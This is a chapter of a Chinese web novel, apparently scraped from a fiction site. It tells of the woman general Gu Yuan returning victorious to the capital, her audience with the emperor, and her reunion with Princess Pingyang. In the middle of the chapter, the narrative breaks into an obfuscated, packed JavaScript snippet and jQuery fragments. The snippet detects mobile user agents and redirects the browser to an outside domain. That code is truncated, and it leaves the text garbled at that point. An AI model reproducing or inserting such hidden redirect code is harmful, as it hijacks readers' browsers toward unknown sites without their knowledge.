这些日子,京城上下都洋溢着一种欢快的氛围。
大齐打了十多年的仗,百姓的日子一天烂似一天,世道不行,凡有一点收成,都拿去做了军粮,哪怕是天子脚下,光景也没好到哪去。
前些年蒙古鞑子进犯,搞得人心惶惶,武安侯领兵北伐,一路兵戈横行地杀过去,有如一把尖刀,插进了如狼似虎的北境蛮敌的腹地。
最后一仗大获全胜,斩、俘敌人数万,捷报传来,大军终于班师回朝。
吃糠咽菜了十来年的老百姓纵有满腔苦水,也不打算赶在今天倒出来,一张一张青黄交加的脸上总算有了喜色。
长街周遭都是挤着围观的闲杂人等,除了布衣白丁,也出来了不少显贵家的年轻男女,有少妇摇着红袖冲路中间招手,只不过丝帕昂贵,没几个人愿意真的掷出去,彩旗似的飘了一串,绵延而去。
北伐主将顾渊,临危受命的青年将领,美姿容,丰神绰约,独当一面时不过十八,在烽火连天的战场里滚过了十几遭,二十岁时封侯武安,取“武定四境,威信安邦”之意,如今一举功成来归,勇冠三军。
自古英雄多跟班,美英雄的吸引力更是无与伦比,人来人往中,一小丫头喊叫道:“小姐啊!人太杂了,求您上车来吧,将军一会不就回去了吗!”
皇帝家的小女儿平阳公主年方二八,悄没声溜了出来,白龙鱼服地站在街边,举着扇子挡着脸,伸长脖子往中间瞧。
自己看不够,还要拉着叫人的小丫鬟一起看:“若月你让让我吧,我三年没见着我顾姐姐了,等不及。”
若月自己也是个黄毛丫头,对着风华正茂的少将军其实没多少抵抗力,因为是公主府的人,多少存着妥帖,眼下被主人一拉,眼睛没忍住往那方向瞟了一瞟。
甲胄是冰冷狰狞的,穿在那骑马而来的青年身上却并不显得骇人,漂亮的铠甲在阳光下灿灿地反光,只是凛然得令人安心。
四下群众热情,顾渊执着缰绳,回应得十分不张扬,偶尔笑两下表示表示,但队伍走到公主跟前时,若月看见将军冲这边挥了一下手,明显是认了出来。
平阳公主檀清衡把脸挡得严严实实,只露了俩水杏似的眼睛,这都能认出来,也就是这一对不是亲生胜似亲生的姊妹了。
却听公主志得意满地笑道:“你看,我的面子不小,是不是?”
若月闻言,挤过身探头瞧了一眼,只见殿下手里的扇子上极尽张扬地写了个草书的“渊”。
“小姐,你这算作弊吧。”若月的眼角跳了一下。
“怎么能算呢,”公主乐呵道,“你就说这字是不是她写的吧。”
顾渊目光所及之处呼声不小,跟在一旁的副将温如海道:“唉,瞧你人气挺高啊。”
“温大美人,你怎么知道不是冲你?”
温如海压根不理会:“哎,我说你怎么单冲那姑娘挥手?”
顾渊:“你看看那是谁。”
温如海看热闹不嫌事大地回过头,又仔细地瞧了两眼,小声呼道:“等一下,那不是平阳殿下吧。”
“还真是——哎,公主那么跑出来不要紧么,”顾渊不搭话,温如海自言自语完,指指天道,“那位知道不得削她?”
顾渊眼神不动:“小公主微服得还少么,人圣上的闺女自个儿能舍得削吗,瞎担心。”
皇帝龙袍压身,站在九阶之上,俯视着一重重的墙垣,看见太和门开,主将归来。
顾渊的腰间横着漂亮的秋水雁翎刀,随着跪下的动作晃了一下,刀鞘接地,撞出了清脆的金石之响:“陛下,三军凯旋。”
皇帝面露喜色,虚托道:“军威赫赫,麒麟有种,我大齐得爱卿这样的忠臣良将,何愁天下不平,百姓不安,快快请起。”
顾渊起身,皇帝站正了道:“北境收复了。”
大殿上站着列队整齐的文武群臣,封赏听了一圈,皇帝高兴,说了不少漂亮的官话,底下跟着一串捧场的,到激动人心时,就齐刷刷地跪下高呼万岁,方才凯旋的顾渊站在行列之中,心情却没那么激动。
“好啊,江山清平,”皇上话说得差不多了,八风不动地坐在金銮宝座上,眯着眼睛扫视了一圈,发现皇子列里少了个人,“哟,朕的小五呢?”
空气安静了一会,温如海忍不住朝顾渊的方向看了一眼,后者没反应,一个穿白蟒袍的青年站出来道:“父皇,五妹身体抱恙,告病在府。”
顾渊用余光朝那声音的来源瞥了一下,那位也跟平阳公主一样,是个金枝玉叶的主儿,长芝兰玉树的一副模样,私下里神情总是懒懒的,人如其号,正是逍遥王。
皇上的长女幼时就夭折了,大齐的太子是二殿下,他对四弟五妹都忌惮,对这个三弟尤甚。
此人挂着个享乐的王爵,平时不该掺和的绝不掺和,不沾风月,说话办事点到为止,人缘非常不错,子曰“众好之必察焉”,在太子的眼里,逍遥王心机深重,不但要防,还是重点关注对象。
皇帝没把注意力分给缄默不语的太子,叹道:“再怎么着,今日大军班师回朝,也该表示一二——罢了,清远哪,回头叫你妹妹来朕的养心殿一趟。”
逍遥王拱手回列道:“儿臣遵旨。”
顾渊和皇子们姑且都算旧相识,平阳公主自不必说,自小狗皮膏药似的黏在身边,“姐姐”长“姐姐”短地叫到了十三岁。
大军出征,实在跟不出去,小公主才消停了些,只是书信还一封借着一封,军帐里都接得着,比亲妹妹还要胜三分。
太子和四皇子都是冷性人,干什么都公事公办,跟储君之间毕竟隔了一层君臣有别,顾渊并不觉得有多不自在,只当他是个缩小版的圣上。
四皇子倒似乎有心结交,可他结交的方式是往将军府里送金银财宝和美姬俊郎,男女荤素不忌,实在太过匪夷所思,着实让人消受不起。
除公主殿下以外,顾将军只和逍遥王关系好点,偶尔能凑一起喝酒的那种好法。
可那也是几年前的事了,三载过去,光阴已经足以让少年长成青年,沙场征伐十几遭,有些事、有些人已经变了也说不定。
瞧着那熟悉的侧脸,顾渊心里滋味万千,最后化作了一腔生分,都堵在了心口,丁点没露出来。
圣上又将方归的武将赞赏一番,摆手示意,宣了退朝。
-
顾渊有意无意地躲过了朝中诸位大人的寒暄,实在绕不开的,拿片儿汤话搪塞过去,匆匆地上了自己的车驾。
卫兵最摸得清她的性子,二话没说,一提马鞭,低调地把车赶回了将军府。
顾渊父母早去,跟着外祖父镇国元帅常冉长大,如今老元帅也已经陨落,但他还活着的时候,除了兵法谋略以外,最爱讲树大招风的道理,顾渊听进去了,却毫无应对之法。
戎马倥偬的老一辈走的走病的病,随棺材带走的是一根根旧的脊梁骨,危难之时须有后浪站出来抗鼎,否则国将不国,至于其他,没有那个闲暇去顾及了。
都是知易行难,无可奈何。
以往的将军府并不热闹,她没指望除了小厮亲卫以外的谁来为自己接风洗尘,一推开门,却被抱了个满怀。
“姐!你想死我了!”
平阳公主还是一身微服,挂着玉坠的折扇还悬在腰间,看来是凑完热闹直接奔了这儿来。
顾渊腾出手拍了拍她的脊背,对一旁的小仆喜儿道:“怎么把殿下放进来了?”
喜儿不平道:“殿下要进来我敢不放么……”
顾渊待要开口,檀清衡却往后一蹿,气道:“什么叫‘把殿下放进来了’!我都三年没见你了,早早地来等人,怎么说得我好像狗似的!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310602|182903||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“姐姐错了,先进屋,”顾渊从善如流地认错道,“你三哥哥说你病了。”
檀清衡熟稔地挽上了顾渊的胳膊:“假的,假的,你不是在街上看见我了么,病了能凑那么近瞧你去啊?”
顾渊想到皇上的口谕:“皇上叫你有空上养心殿一趟。”
“老天爷,”檀清衡仰天长啸道,“你道怎的,我猜他一定是要训我不知好歹,不去给顾将军接风洗尘。”
顾渊有些好笑地道:“殿下最疼臣——没见若月呢,如今也长大了吧。”
檀清衡乐了:“那是!若月府里去了,她在这又要管我了,就是个小大人。”
“你还不是小大人,好意思说。”
眼下正是深秋,屋里点着暖香,顾渊不得意这味道,招手道:“谁点的香,灭了。”
却见个神色怯怯的姑娘应声进来,这孩子还没檀清衡大,撑死了十二三岁,低眉顺眼,是个没见过的生面孔:“将军,是,是我。”
“你哪位?”顾渊道。
小女孩大概是被她身上未卸的甲给吓着了,声音软成了一滩水:“妾是……四殿下送来,送来服侍将军的。”
顾渊一猜就是了,摆手道:“妾什么呢,一个半大孩子,四殿下那脑子里一天都装的什么乱七八糟。”
那姑娘支支吾吾道:“我……我现在就熄!”
“不必待我这了,从账房里支些银钱,有家回家,没家去城北,”顾渊坐到了窗边的小榻上,接过喜儿递过来的茶喝了一口,“那有个叫莲香楼的饭庄,跟掌柜的交代来处,领个生计,活不下去了再回来找我。”
小姑娘愣了一下,收拾妥当,千恩万谢地出去了。
檀清衡凑过来,一边帮顾渊卸甲,一边道:“我四哥就那德行,别提他。姐,你想我没?我看着你骑在马上那个威风,是真高兴啊,但是再一想,哎——瞧都瘦成什么样了,我真恨那些来犯的鞑子,你肯定受过伤,还很重,风餐露宿的,饭都吃不好——”
顾渊欣慰地摸摸她的头道:“我没事。”
喜儿要来接甲,檀清衡道:“不轻呢,能不能拿动?”
“殿下放心,咱府的人不至于连将军的铠甲都举不起来哝,真那样还做什么呢,早自觉地滚啦。”
顾渊笑了笑:“去吧。殿下稍候,我去换身衣服。”
檀清衡配合地放走了她,在榻上半卧下来,抽出腰间的折扇,展开合上,合上展开,用手指描摹了起那“渊”字,十圈之后,顾渊已经重新掀开门帘进来了。
盔甲傍身,长发高束,行动虽然便捷,到底是极不舒服的,顾渊散了头发,只草草用根布带绑在发尾,换了素衣常服,一身自在地坐了过来。
公主有点恍惚,这正是她记忆里那个还未染上杀业的顾姐姐的模样。
“方才就见你拿着它招摇过市,”扇子还没来得及收起来,顾渊饶有兴致地道,“天怪凉的,带这东西做什么,拿来我瞧瞧。”
檀清衡将扇子递了过去:“你就是厚此薄彼!都不给我写一个,我软磨硬泡了多久才从三哥哥那讨来的。”
顾渊举着扇子看了又看,见那上面悬着的是块汉白玉打的坠子,问道:“这个哪来的,三殿下挂的?”
檀清衡:“是啊,还叫我万不能丢了,我还道是你连扇子一块给他的呢。”
窗外方才就起了雷声,很快掉下雨点来,不一会已经下成了瓢泼的秋雨,顾渊把扇子递了回去,笑道:“你三哥哥倒大方。”
檀清衡不服道:“说什么呢,他不是送我,要改日讨回去呢,姐,你给我也写一个吧,好不好?”
“写,想写什么都行,”顾渊喝了口茶,半推开窗,感到久违的安宁,“雨大得很,停不了的话,殿下明儿再走吧,我府上不缺卧房。”
檀清衡乐了:“我正不想走呢。”